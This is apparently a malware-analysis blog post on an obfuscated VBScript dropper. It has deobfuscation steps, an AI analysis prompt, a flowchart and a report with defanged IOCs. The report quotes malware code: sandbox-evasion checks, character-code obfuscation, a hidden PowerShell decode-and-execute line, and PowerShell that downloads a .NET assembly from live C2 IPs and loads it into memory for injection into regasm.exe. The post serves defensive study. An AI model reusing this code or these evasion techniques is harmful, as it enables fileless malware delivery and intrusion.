Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript.

wBbdKYe = UCase("puBYjPx")
Public Const ERvZjzT = "NlCwLpfq"
MKjGzAQ = UCase("DRsMIuqq")
Public Const DABEuTZ = "JqMyMVi"
wkUTRRf = UCase("NIYSLVKg")
Set wshNetwork = WScript.CreateObject("WScript.Ne" & "twork")
'Phaegfdfsdodspfore! crizzgfling
'Gaucdffdsgho mooafnwfalks unobsequigousness outwitter106
'Sciaffgdfge corfpusgfcular hained
'Quaggtfch anfavisningsret29

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55.vbs --output C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass1.vbs --aggressive
{"changed":145,"input_bytes":15524,"output_bytes":9641,"output_path":"C:\\Users\\Ashura\\Desktop\\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass1.vbs"}

> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass1.vbs --output C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass2.vbs
{"changed":21,"comment_lines_removed":21,"input_bytes":9641,"output_bytes":8512,"output_path":"C:\\Users\\Ashura\\Desktop\\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass2.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass2.vbs --output C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass3.vbs
{"changed":13,"input_bytes":8512,"output_bytes":8412,"output_path":"C:\\Users\\Ashura\\Desktop\\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass3.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    A([VBScript dropper launched]) --> B{Computer name contains\nMAA1 / LNP2 / CAV / -PC?}
    B -- Yes --> Z1([Exit silently])
    B -- No --> C[Assemble obfuscated PowerShell command\nfrom ~80 string fragments]
    C --> D[Spawn hidden PowerShell process\nno window shown to user]
    D --> E[Enforce TLS 1.2]
    E --> F{Hostname contains\n'clean'?}
    F -- Yes --> Z2([Exit silently])
    F -- No --> G[Contact C2 servers in random order\n192.255.195.150/img/1.jpg\n192.255.195.158/img/1.jpg]
    G --> H{Payload received?}
    H -- No --> Z3([Abort])
    H -- Yes --> I[Extract base64-encoded assembly\nbetween <<START>> and <<END>>\ndelimiters in fake JPEG response]
    I --> J[Load .NET assembly directly into memory\nfileless — never written to disk]
    J --> K[Invoke assembly entry point\nmyprogram.Homees]
    K --> L[Inject into regasm.exe\n32-bit Microsoft-signed binary\nLOLBin — bypasses application whitelisting]
    L --> M([Callback to third-stage C2\n216.9.224.48/xz/bin 2 upload 1 .txt])

    style Z1 fill:#c0392b,color:#fff
    style Z2 fill:#c0392b,color:#fff
    style Z3 fill:#c0392b,color:#fff
    style M  fill:#8e44ad,color:#fff
    style A  fill:#2c3e50,color:#fff
    style G  fill:#e67e22,color:#fff
    style L  fill:#e67e22,color:#fff

Report

Executive Summary

The submitted file is a multi-stage VBScript dropper that forms the initial delivery component of a fileless malware chain. Upon execution, the script performs anti-sandbox checks and spawns a hidden PowerShell process that contacts two redundant command-and-control (C2) IP addresses disguised as image servers. The PowerShell stage downloads a base64-encoded .NET assembly embedded in fake JPEG responses, loads it directly into memory (never touching disk), and invokes its entry point — passing parameters that name regasm.exe as an injection target.


Details

VBScript Layer — Obfuscation

The script uses three custom functions to assemble its payload without exposing plaintext strings:

UDzwZIfM(n) — Chr-code obfuscation via random number loop:

Function UDzwZIfM(vOoYvvjTvq)
    UDzwZIfM = "_"
    Do Until asc(UDzwZIfM) = vOoYvvjTvq
        Karfotifn5 = int(rnd*3000)
        If Karfotifn5 < (263-8) then 
            UDzwZIfM = Chr(Karfotifn5)
        end if 
    Loop 
End Function

Rather than calling Chr(n) directly, the function loops generating random integers until a random character matches the target ASCII code. This breaks simple Chr(n) signature patterns and makes static analysis slower.

Ugfdsfssffgfiffsging(s) — string accumulator:

Function Ugfdsfssffgfiffsging (Musfdffgfgfical197)
    oMvEyRpflNA = oMvEyRpflNA & Musfdffgfgfical197
End function

Called ~80 times, this function builds the complete PowerShell command from small, individually innocuous string fragments — each fragment too short to trigger signature detection alone.

Deledfdctable(n) — direct Chr wrapper:

Function Deledfdctable (Musfdffgfgfical197)
    Deledfdctable = chr(Musfdffgfgfical197)
End function

A straightforward Chr(n) alias used for characters where the RNG loop overhead of UDzwZIfM is unnecessary — specifically the four terminal characters of the PowerShell invocation string: l, l, space, and " (ASCII 108, 108, 32, 34). Its presence as a named function rather than a direct Chr() call keeps all character-code resolution behind indirection, maintaining a consistent obfuscation style.


VBScript Layer — Sandbox/Targeted Evasion

Before running the PowerShell payload, the script queries the host computer name and exits silently if it matches known analysis/sandbox naming patterns or other targeted environments:

Set wshNetwork = WScript.CreateObject("WScript.Network")
str = wshNetwork.ComputerName
If instr(ucase(str), "MAA1") > 0 OR _
   instr(ucase(str), "LNP2") > 0 OR _
   instr(ucase(str), "CAV") > 0 OR _
   instr(ucase(str), "-PC") > 0 Then
   WScript.Quit 
End if

Targeted strings suggest the author tested against specific sandbox environments (e.g., CAV — Comodo AV sandbox; -PC — generic analysis VM convention; MAA1, LNP2 — maybe internal lab machine prefixes), or other targeted environments.


VBScript Layer — Hidden PowerShell Execution

The accumulator builds a PowerShell command that decodes and executes a base64/UTF-16LE payload inline. The assembled command is passed to a WScript.Shell object with window style 0 (completely hidden):

Dim dgdfss 
dgdfss = "ript.Shell" 
Set dfgdfghgfsfsddfgdd = CreateObject(UDzwZIfM(87) & UDzwZIfM(83) & UDzwZIfM(99) & dgdfss)
FflIItjPUeXG = UDzwZIfM(112) & UDzwZIfM(111) & UDzwZIfM(119) & UDzwZIfM(101)  & "r"  & UDzwZIfM(115)  & "he" & Deledfdctable(108) & Deledfdctable(108) & Deledfdctable(32) & Deledfdctable(34)
FflIItjPUeXG = FflIItjPUeXG & oMvEyRpflNA
dfgdfghgfsfsddfgdd.Run FflIItjPUeXG,0

After Chr-code resolution:

The tail of the accumulator adds the inline decode-and-execute suffix to the accumulated string:

Call Ugfdsfssffgfiffsging("nACkA...AA==';$oW")              ' — closes base64 string, opens $oW...
Call Ugfdsfssffgfiffsging("dfjuxd = [system.Text.encoding]::Unicode.GetString([")
Call Ugfdsfssffgfiffsging("system.c")
Call Ugfdsfssffgfiffsging("onvert]::Fromba" & UDzwZIfM(115))            ' → "Frombas"
Call Ugfdsfssffgfiffsging("e" & UDzwZIfM(54) & "4" & UDzwZIfM(115) & UDzwZIfM(116) & UDzwZIfM(114) & UDzwZIfM(105) & UDzwZIfM(110) & UDzwZIfM(103) & "( $dhfghfggfhdssi")  ' → "e64String( $dhfghfggfhdssi"
Call Ugfdsfssffgfiffsging("go" & UDzwZIfM(46) & "replace('f@','f') ));i")            ' → "go.replace('f@','f') ));i"
Call Ugfdsfssffgfiffsging("ex $oWdfjuxd")

After all fragments are joined and Chr codes resolved, oMvEyRpflNA contains:

$dhfghfggfhdssigo ='<base64_payload>';$oWdfjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::FromBase64String( $dhfghfggfhdssigo.replace('f@','f') ));iex $oWdfjuxd

The final shell call is therefore: WScript.Shell.Run "powershell ""<above one-liner>""", 0

The .replace('f@','f') call is the evasion mechanism for the base64 string itself: two occurrences of f@ are embedded in the raw base64 to corrupt any static signature that tries to match the complete encoded payload. They are silently repaired at runtime before decoding.


PowerShell Layer — TLS Enforcement and C2 Contact

The decoded PowerShell script (recovered from base64/UTF-16LE payload) begins by enforcing TLS 1.2, ensuring encrypted C2 communication:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

A second sandbox check targets hostname patterns before any network activity:

if ((hostname) -like '*clean*') {
    exit
}

The script contacts two C2 servers in randomized order via WebClient.DownloadData, masquerading the request as a JPEG image fetch:

$targetUrls = @(
    ($baseUrl + '192.255.195.150/img/1.jpg'),
    ($baseUrl + '192.255.195.158/img/1.jpg')
)
$rawData = Get-RemoteData $targetUrls

The Get-RemoteData function shuffles the URL list on each execution (Get-Random -InputObject $urls -Count $urls.Length), making network request ordering unpredictable and complicating traffic-pattern detection. Failure on one URL is silently caught and falls through to the next.


PowerShell Layer — Staged Payload Extraction

The HTTP response is not a real JPEG. The script interprets the response body as UTF-8 text and locates a base64-encoded .NET assembly sandwiched between custom delimiter tags:

$startTag = '<<STAR' +'T>>'
$endTag   = '<<END>>'

$startPos = $textContent.IndexOf($startTag)
$endPos   = $textContent.IndexOf($endTag)

if ($startPos -ge 0 -and $endPos -gt $startPos) {
    $startPos += $startTag.Length
    $base64Length = $endPos - $startPos
    $base64Chunk = $textContent.Substring($startPos, $base64Length)

The split '<<STAR' +'T>>' construction defeats string-literal scanning for the <<START>> tag. Any other content in the fake JPEG (decoy bytes, image headers, etc.) is ignored — only the data between delimiters matters.


PowerShell Layer — Fileless .NET Assembly Loading

The extracted base64 chunk is decoded and loaded directly into the current process memory — never written to disk:

$assemblyBytes = [System.Convert]::FromBase64String($base64Chunk)
$loadedAsm = [System.Reflection.Assembly]::Load($assemblyBytes)
$targetType = $loadedAsm.GetType('myprogram.Homees')

The loaded assembly’s namespace is myprogram, class Homees.


.NET Assembly Invocation — RegAsm LOLBin Injection

The script invokes the runss method on the loaded assembly. The method name is split across two literals ('run' + 'ss') to evade string matching:

$injValue = 'Re' + 'gAsm'
$str = '0'
$ggg = 'txt.)1(02%daolpu)2(02%nib/zx/84.422.9.612//: gsfhjgfsgf' ; $ggg = $ggg.Substring(0, $ggg.Length - 11)

$targetType.GetMethod('run' + 'ss').Invoke(
    $null,
    [object[]] ($ggg  , $str, '', $injValue, '0', 'x86')
)

Parameter breakdown:

Argument Decoded Value Meaning
$ggg txt.)1(02%daolpu)2(02%nib/zx/84.422.9.612//: Reversed C2 URL → http://216.9.224.48/xz/bin%20(2)upload%20(1).txt
$str '0' Mode/flag
arg3 '' Empty — optional data field
$injValue 'RegAsm' Target process: regasm.exe
arg5 '0' Secondary flag
arg6 'x86' Target architecture: 32-bit

$ggg URL reconstruction: The stored string is reversed internally by runss:
txt.)1(02%daolpu)2(02%nib/zx/84.422.9.612//: → reversed → ://216.9.224.48/xz/bin%20(2)upload%20(1).txt → full URL: http://216.9.224.48/xz/bin%20(2)upload%20(1).txt

LOLBin abuse via regasm.exe: $injValue = 'RegAsm' targets regasm.exe — Microsoft’s .NET Assembly Registration Utility, a signed Windows binary present on all .NET-capable systems. Using it as an injection host provides:

Based on the 'x86' architecture flag and the method signature, runss may be performing process hollowing or shellcode injection into a 32-bit regasm.exe instance, using http://216.9.224.48/xz/bin%20(2)upload%20(1).txt as the final-stage C2 endpoint for payload retrieval or command-and-control communication.


IOCs

Type Indicator Role
IP 192[.]255[.]195[.]150 Stage-2 payload delivery C2
IP 192[.]255[.]195[.]158 Stage-2 payload delivery C2 (redundant)
IP 216[.]9[.]224[.]48 Stage-3 C2 / callback endpoint
URL hxxp://192[.]255[.]195[.]150/img/1[.]jpg Fake JPEG serving .NET assembly
URL hxxp://192[.]255[.]195[.]158/img/1[.]jpg Fake JPEG serving .NET assembly (fallback)
URL hxxp://216[.]9[.]224[.]48/xz/bin%20(2)upload%20(1)[.]txt Third-stage C2 endpoint